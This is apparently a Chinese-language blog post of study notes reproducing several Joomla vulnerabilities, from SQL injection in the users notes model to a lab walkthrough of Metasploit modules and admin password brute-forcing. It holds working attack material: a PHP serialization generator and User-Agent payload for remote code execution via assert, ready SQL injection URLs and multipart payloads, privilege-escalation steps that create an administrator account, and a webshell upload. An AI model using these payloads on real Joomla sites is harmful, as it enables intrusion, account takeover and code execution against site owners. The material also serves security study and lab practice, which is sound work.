Joomla漏洞

开始复现漏洞

Joomla漏洞_第1张图片

Joomla漏洞_第2张图片


Joomla漏洞_第3张图片

Joomla漏洞_第4张图片

使用w9scan测出存在注入

Joomla漏洞_第5张图片

CVE-2018-8045复现:

官网:https://developer.joomla.org/security-centre/723-20180301-core-sqli-vulnerability.html

Joomla漏洞_第6张图片

登录后台后:

升级包中的notes.php中,对$categoryId的值进行了限制,强制转换为int类型,可以确定,这个漏洞就出在这里。

在这里说个题外话,notes.php中getState方法出现过很多次,分别有

getState(‘filter.search’)
getState(‘filter.published’)
getState(‘filter.category_id’)
getState(‘filter.user_id’)
getState(‘filter.level’)
但是唯有getState(‘filter.category_id’)方法没有进行(int)类型转换,存在着漏洞隐患,这可能是开发者一时的疏忽吧。


CVE-2018-8045 漏洞分析
来看下存在漏洞的代码:

// Filter by a single or group of categories.
$categoryId = $this->getState('filter.category_id');
  
if ($categoryId && is_scalar($categoryId))
{
   $query->where('a.catid = ' . $categoryId);
}
$categoryId未经过滤直接拼接sql语句进行查询,造成了sql注入。


但是$categoryId参数如何控制呢?

存在漏洞的文件位于\administrator\components\com_users\models\notes.php,是一个joomla的模型文件,它的控制器是\administrator\components\com_users\controllers\notes.php

我们登录joomla后台来看一下在哪里触发这个漏洞。

访问http://xxx/joomla/administrator/index.php?option=com_users&view=notes 即可触发该控制器。


Joomla漏洞_第7张图片

此时我们需要的filter[category_id]参数出现在了post参数中,通过这个参数的值,即可畅通无阻的进行注入。
下面验证下这个filter[category_id]参部分可以直接传递给后台的$categoryId参数
我们修改了filter[category_id]参数内容为’kingsguard_test’,并发包

Joomla漏洞_第8张图片

后台下断点,抓取$categoryId值,可见’kingsguard_test’原封不动的被传递给$categoryId参数,并拼接sql语句进行查询。

POST注入     -p filter[category_id]指定参数

Joomla漏洞_第9张图片

但失败了

Joomla漏洞_第10张图片


Joomla远程代码执行漏洞(Phith0n)

这个漏洞影响Joomla 1.5 to 3.4全版本

Joomla漏洞_第11张图片


//header("Content-Type: text/plain");
class JSimplepieFactory {
}
class JDatabaseDriverMysql {

}
class SimplePie {
    var $sanitize;
    var $cache;
    var $cache_name_function;
    var $javascript;
    var $feed_url;
    function __construct()
    {
        $this->feed_url = "phpinfo();JFactory::getConfig();exit;";
        $this->javascript = 9999;
        $this->cache_name_function = "assert";
        $this->sanitize = new JDatabaseDriverMysql();
        $this->cache = true;
    }
}

class JDatabaseDriverMysqli {
    protected $a;
    protected $disconnectHandlers;
    protected $connection;
    function __construct()
    {
        $this->a = new JSimplepieFactory();
        $x = new SimplePie();
        $this->connection = 1;
        $this->disconnectHandlers = [
            [$x, "init"],
        ];
    }
}

$a = new JDatabaseDriverMysqli();
echo serialize($a); 
Joomla漏洞_第12张图片

将这个代码生成的exp,以前面提到的注入『|』的变换方式,带入前面提到的user-agent中,即可触发代码执行。

其中,我们需要将char(0)*char(0)替换成\0\0\0,因为在序列化的时候,protected类型变量会被转换成\0*\0name的样式,这个替换在源代码中也可以看到:


$result = str_replace('\0\0\0', chr(0) . '*' . chr(0), $result); 

构造的时候遇到一点小麻烦,那就是默认情况下SimplePie是没有定义的,这也是为什么我在调用SimplePie之前先new了一个JSimplepieFactory的原因,因为JSimplepieFactory对象在加载时会调用import函数将SimplePie导入到当前工作环境:

User-Agent: 123}__test|O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";s:37:"phpinfo();JFactory::getConfig();exit;";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}ð

Joomla漏洞_第13张图片

Joomla 3.2-3.44

可执行POC:

/index.php?option=com_contenthistory&view=history&item_id=1&list[ordering]=&type_id=1&list[select]=(exp(~(select * from(select md5(1))x)))

Joomla漏洞_第14张图片

SQLi vulnerability in Hathor postinstall message

E:\Website\PHPstudy\PHPTutorial\WWW\CMS\Joomla_3.8.10\administrator\templates\hathor\postinstall\hathormessage.php  漏洞点

Joomla漏洞_第15张图片


Joomla漏洞_第16张图片

Joomla漏洞_第17张图片

poc:

-----------------------------4589244178781
Content-Disposition: form-data; name="jform[params][admin_style][]"

22 and updataxml (0x3a,concat(1,(select user())),1)#

Joomla漏洞_第18张图片

Joomla漏洞_第19张图片

访问post_install页面触发

我下的是3.8.10已经修复。明天做的事就是找个站点检测,顺便学习如何爆出joomla版本


Joomla漏洞_第20张图片

XSS漏洞

明显只有当$script_name = $_SERVER['PHP_SELF']的时候,漏洞才有可能成立

只有当php是fastcgi运行,而且cgi.fix_pathinfo = 0时才能进入这个判断,然后利用漏洞还有一个条件,就是服务端对路径的解析存在问题才行。

无法弹框

Joomla漏洞_第21张图片


正常如下

Joomla漏洞_第22张图片

漏洞成因

Joomla漏洞_第23张图片

漏洞利用

让我们看看完整的代码

很明显后面module_tag没有经过更多处理,就输出了,假设我们可控module_tag,那么漏洞就成立。

问题在于怎么控制,这里的函数找不到调用的地方,能触发的地方都返回了传入的第二个值,猜测和上面的get_param一样,如果没有设置该变量,则返回default值。

经过一番研究,并没有找到可控的设置的点,这里只能暂时放弃。



i春秋靶场渗透过程:CVE-2015-7297


操作机:Kali

IP:172.16.11.2

目标机:Windows Server 2003

IP:172.16.12.2

请访问http://file.ichunqiu.com/Xbrt4er5下载实验文件

学习Joomla站点的渗透过程

学习和了解使用Mestasploit对Joomla站点进行渗透的方法

学习和了解Joomla暴力破解管理员后台登录密码的方法

Mestasploit:

开源的渗透测试框架软件、综合型漏洞利用工具,本次实验使用其辅助模块。

XBruteForcer

一款支持对多种常见CMS实施密码爆破的工具。目前,X Brute Forcer所支持自动识别和暴力破解的CMS包括WordPress,Joomla,DruPal,OpenCart,Magento。

实验内容

Joomla

Joomla是一套全球知名的内容管理系统。

Joomla是使用PHP语言加上MySQL数据库所开发的软件系统,可以在Linux、 Windows、MacOSX等各种不同的平台上执行。目前是由Open Source Matters(见扩展阅读)这个开放源码组织进行开发与支持。

它是网站的一个基础管理平台,几乎适合从个人博客网站到百货销售类型的各类网站,应用十分广泛。

课程介绍

本系列实验我们将从信息收集入手,利用工具获取Joomla程序的版本信息,再针对信息收集获得的信息,去查找和验证相应的漏洞。

通过爆破后台、主站漏洞利用、后台获取WebShell等不同角度去发现目标站点的漏洞,从而达到脱离漏洞本体,学会如何渗透Joomla目标站点,降低Joomla站点面临的风险。

后台弱口令爆破前提

在使用XBruteForcer对Joomla进行暴力破解的前提条件:

需要事先获取到后台管理员的用户名

本实验主要先通过多种信息收集的方式确定出主站的系统版本,然后针对该版本具有的漏洞,使用Mestasploit辅助模块对Joomla程序进行SQL注入,从而获取后台管理员的用户名.

再使用XBruteForcer程序对Joomla系统后台管理员的登录密码进行暴力破解,最终获取管理员后台登录用户名和密码。

步骤1 :信息收集

打开桌面上的firefox浏览器访问http://172.16.12.2地址,查看Joomla程序是否运行正常

Joomla漏洞_第24张图片

WordPress默认安装情况下,根目录会留有开发人员编写的readme.html文件,通过访问该文件,我们可以大概的知道站点的WordPress版本号。

识别指纹

打开浏览器,访问http://172.16.12.2/readme.txt

如Google的新版ReCaptcha

Joomla漏洞_第25张图片

可知版本号为3.x,但这里还是无法确定Joomla的具体版本,而且如果管理员在程序安装后删除了该文件,我们该如何判断呢?

这里可以使用Mestasploit的辅助模块对其进行详细检测,打开桌面上的Kali终端,输入msfconsole,开启Mestasploit命令行控制台

使用search命令,查看Joomla系统的漏洞利用模块

search joomla

如下根据程序名称查询到的相关的可用模块

Joomla漏洞_第26张图片

这里使用Mestasploit内置的joomla_registration_privesc辅助模块对Joomla程序的版本进行检测。该模块利用了Joomla3.6.4版本之前在UsersModelRegistration类中存在的未对注册用户数据进行验证和过滤,导致渗透测试人员可以进行远程注册管理员信息而获取特权。

此模块在会优先对Joomla程序进行详细的版本检测,而且成功利用后会在Joomla后台创建一个管理员账户,而创建的新用户在默认情况下是被禁用的,但是如果后台管理员配置了邮件服务器,渗透测试人员利用该模块成功后会收到一封用于账户激活的邮件。这里主要利用该模块进行信息收集查询Joomla的详细版本信息。

使用use命令,选择我们要使用的辅助模块

use auxiliary/admin/http/joomla_registration_privesc

在运行该模块之前,需要设置相关的选项参数,我们使用show options查看配置信息

Joomla漏洞_第27张图片

首先需要设置目标地址,设置命令:

set RHOST 172.16.12.2

设置完成后,执行run或者exploit命令,等待执行结果

Joomla漏洞_第28张图片

这里可以看到,Mestasploit已经成功检测到Joomla的详细版本信息,而且完成了该模块的完整渗透步骤,在后台创建了一个无法登陆的管理用户,但是由于Joomla的管理员未为程序配置的邮件服务器,此次测试中无法通过接受激活新增管理员的信息而伪造管理员身份进行登陆,所以此次渗透还得另寻他法。

步骤2:SQL注入漏洞

之前已经通过信息收集得知了Joomla的详细版本为3.3,通过对该版本的Joomla程序进行漏洞查询得知,Joomla程序版本在3.2~3.4.4之间存在一个高危的SQL注入漏洞,且漏洞编号为CVE-2015-7297。

更详细的信息请查看:CVE-2015-7297

再次在Mestasploit终端控制台中使用search命令根据CVE漏洞编号,查询该漏洞的相关模块

search CVE-2015-7297

如下根据CVE编号查询到的相关的可用模块

使用use命令,且选择auxiliary/gather/joomla_contenthistory_sqli辅助模块

use auxiliary/gather/joomla_contenthistory_sqli

同样的,在运行该模块之前,需要设置相关的选项参数,我们使用show options查看配置信息

Joomla漏洞_第29张图片

首先需要设置目标地址,设置命令:

set RHOST 172.16.12.2

设置完成后,执行run或者exploit命令,等待执行结果

Joomla漏洞_第30张图片

根据Mestasploit的执行信息,将执行的结果返回到/root/.msf4/loot/目录下的txt文本中 使用cat命令对文件进进行查看

Joomla漏洞_第31张图片

并且根据SQL注入执行返回的结果,得到的信息有管理员邮箱,后台登录密码,后台用户名等信息。

注:但是由于Joomla程序的加密方式特殊,无法对password字段的内容进行解密,因此此处得到的较为重要的信息是管理员的后台登录用户名,方便我们接下来对该程序的管理员后台进行暴力破解

步骤3:暴力破解

使用XBruteForcer程序对Joomla的管理员后台登录进行暴力破解

重新打开桌面上的Kali终端,使用cd命令,切换到XBruteForcer程序所在目录

cd XBruteForcer

使用vim命令编辑XBruteForcer.pl程序代码

在vim编辑器内,依次输入:set nu显示行号,: 331切换至代码的第331行,修改程序内的joomuser变量值为上一步骤获取到的管理员后台用户名ichunqiu,使用:wp命令保存退出vim编辑器

Joomla漏洞_第32张图片

使用echo命令创建XBruteForcer的站点列表文本

echo http://172.16.12.2 > list.txt

在终端内使用如下命令,启动XBruteForcer程序,对Joomla程序后台进行暴力破解

perl XBruteForcer.pl -l list.txt -p passwords.txt

程序执行并返回结果

Joomla漏洞_第33张图片

同时XBruteForcer会将执行结果返回到当前目录下的Result.txt文本中 可以使用cat命令查看该文本中的内容

cat Result.txt

根据文本中的返回的后台地址以及管理员的账号和密码就可以登录Joomla系统后台了 在firefox浏览器中,输入后台地址http://172.16.12.2/administrator/,并输入由上一步得到的后台信息

用户名:ichunqiu密码:admin1q2w

Joomla漏洞_第34张图片

成功登录管理员后台

Joomla漏洞_第35张图片

实验到此结束

通过本节课的讲解,相信大家对Joomla程序实施渗透测试的方式有所了解,同时大家也学习了如何利用Mestasploit进行信息收集和漏洞利用。在接下来的课程中,我们将并结合经典的案例,讲解如进一步渗透Joomla程序。尽情期待~



Joomla未授权创建特权用户(cve-2016-8869、cve-2016-8870)

https://www.exploit-db.com/exploits/40637/   exp


Joomla漏洞_第36张图片

显示不允许注册

Joomla漏洞_第37张图片

确认自己写的邮箱是有效的,否则无法接收到邮件。

Joomla漏洞_第38张图片

Joomla漏洞_第39张图片


打开这个网址:

Joomla漏洞_第40张图片

Joomla漏洞_第41张图片

将shell.php的内容放到pht中

Joomla漏洞_第42张图片

再次使用exp

Joomla漏洞_第43张图片

Joomla漏洞_第44张图片

Joomla漏洞_第45张图片

生成shell.php内容的pht,上传shell成功。


Joomla漏洞_第46张图片

似乎失败了

Joomla漏洞_第47张图片



Joomla漏洞_第48张图片

msfconsole用法:

Joomla漏洞_第49张图片

Joomla漏洞_第50张图片


CVE-2016-8870(Joomla 提权类漏洞 )


1)打开注册选项:

Joomla漏洞_第51张图片

(2)注册用户

Joomla漏洞_第52张图片

抓到注册用户的数据包

Joomla漏洞_第53张图片

(3)将网站注册选项关闭,更改数据包进行用户注册,之后再使用Reapter进行发送

Joomla漏洞_第54张图片

(4)用户注册成功,只是普通用户,将这个用户删掉,进行管理员账户的创建

Joomla漏洞_第55张图片

(5)更改数据包,将创建的用户的分组设置为第七个分组,即管理员分组

Joomla漏洞_第56张图片

(6)注册用户成功,提权成功,显示用户等级为Adaministrator

Joomla漏洞_第57张图片




来自youtube

Joomla漏洞_第58张图片


参考:https://www.unhonker.com/bug/2048.html

反序列绿盟报告

p牛的joomla远程代码执行漏洞

Joomla 3.2-3.44 Sql注入漏洞分析

创宇paper

PHP一些讲解

CVE-2016-8867、8870

你可能感兴趣的:(安全技术)